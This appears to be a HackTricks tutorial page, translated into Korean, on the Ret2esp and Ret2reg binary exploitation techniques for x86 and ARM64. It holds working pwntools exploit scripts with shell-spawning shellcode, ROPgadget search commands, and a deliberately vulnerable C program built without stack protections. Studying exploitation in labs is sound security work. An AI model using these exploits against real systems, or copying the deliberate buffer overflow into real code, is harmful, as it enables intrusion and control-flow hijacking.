Ret2esp / Ret2reg

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Ret2esp

ESP(스택 포인터)가 항상 스택의 맨 위를 가리키기 때문에, 이 기술은 EIP(명령 포인터)를 jmp esp 또는 call esp 명령의 주소로 교체하는 것을 포함합니다. 이렇게 하면 셸코드가 덮어쓴 EIP 바로 뒤에 배치됩니다. ret 명령이 실행되면 ESP는 다음 주소를 가리키며, 정확히 셸코드가 저장된 위치입니다.

**주소 공간 배치 무작위화(ASLR)**가 Windows 또는 Linux에서 활성화되지 않은 경우, 공유 라이브러리에서 발견된 jmp esp 또는 call esp 명령을 사용할 수 있습니다. 그러나 ASLR가 활성화된 경우, 이러한 명령을 찾기 위해 취약한 프로그램 자체를 살펴봐야 할 수도 있습니다(그리고 PIE를 무력화해야 할 수도 있습니다).

게다가 EIP 손상 이후에 셸코드를 배치할 수 있는 것은, 스택의 중간이 아닌, 함수의 작동 중에 실행되는 push 또는 pop 명령이 셸코드에 간섭하지 않도록 보장합니다. 셸코드가 함수의 스택 중간에 배치되었다면 이러한 간섭이 발생할 수 있습니다.

공간 부족

RIP를 덮어쓴 후에 쓸 공간이 부족한 경우(아마도 몇 바이트 정도), 초기 jmp 셸코드를 다음과 같이 작성하십시오:

armasm
sub rsp, 0x30
jmp rsp

스택의 초기에 쉘코드를 작성하세요.

예시

이 기술의 예시는 https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp에서 찾을 수 있으며, 최종 익스플로잇은 다음과 같습니다:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

이 기술의 또 다른 예는 https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html에서 볼 수 있습니다. NX가 활성화되지 않은 상태에서 버퍼 오버플로우가 발생하며, $esp의 주소를 줄이기 위해 가젯이 사용되고, 그 다음 jmp esp;를 사용하여 셸코드로 점프합니다:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

유사하게, 함수가 쉘코드가 저장된 주소를 반환하는 경우, call eax 또는 jmp eax 명령어(일명 ret2eax 기법)를 활용하여 쉘코드를 실행할 수 있는 또 다른 방법을 제공합니다. eax와 마찬가지로, 흥미로운 주소를 포함하는 다른 레지스터도 사용할 수 있습니다 (ret2reg).

예시

여기 몇 가지 예시를 찾을 수 있습니다:

ARM64

Ret2sp

ARM64에서는 SP 레지스터로 점프하는 명령어가 없습니다. SP를 레지스터로 이동한 다음 해당 레지스터로 점프하는 가젯을 찾는 것이 가능할 수 있지만, 제 칼리의 libc에서는 그런 가젯을 찾을 수 없었습니다:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

내가 발견한 유일한 방법은 sp가 점프하기 전에 복사된 레지스트리의 값을 변경하는 것이었다(그래서 그것은 쓸모없게 된다):

Ret2reg

레지스트리에 흥미로운 주소가 있다면 적절한 명령어를 찾아서 그 주소로 점프할 수 있다. 다음과 같은 것을 사용할 수 있다:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

ARM64에서는 **x0**가 함수의 반환 값을 저장하므로, x0가 사용자가 제어하는 버퍼의 주소를 저장하고 있을 수 있으며, 이 버퍼에는 실행할 쉘코드가 포함되어 있을 수 있습니다.

예제 코드:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

함수의 디스어셈블리를 확인하면 버퍼에 대한 주소(bof에 취약하고 사용자에 의해 제어됨)가 x0에 저장된 것을 볼 수 있습니다. 버퍼 오버플로우에서 반환하기 전에:

또한 do_stuff 함수에서 br x0 가젯을 찾을 수 있습니다:

이진 파일이 PIE 없이 컴파일되었기 때문에 해당 가젯을 점프하는 데 사용할 것입니다. 패턴을 사용하여 버퍼 오버플로우의 오프셋이 80임을 확인할 수 있으므로 익스플로잇은 다음과 같습니다:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

만약 fgets 대신 **read**와 같은 것을 사용했다면, 리턴 주소의 마지막 2 바이트만 덮어쓰는 것으로 br x0; 명령어로 돌아갈 수 있었을 것입니다. 전체 주소를 알 필요가 없었습니다.
fgets를 사용하면 끝에 null (0x00) 바이트가 추가되기 때문에 작동하지 않습니다.

Protections

  • NX: 스택이 실행 가능하지 않다면, 스택에 쉘코드를 배치하고 이를 실행하기 위해 점프해야 하므로 도움이 되지 않습니다.
  • ASLR & PIE: 이러한 것들은 esp 또는 다른 레지스터로 점프할 수 있는 명령어를 찾기 어렵게 만들 수 있습니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기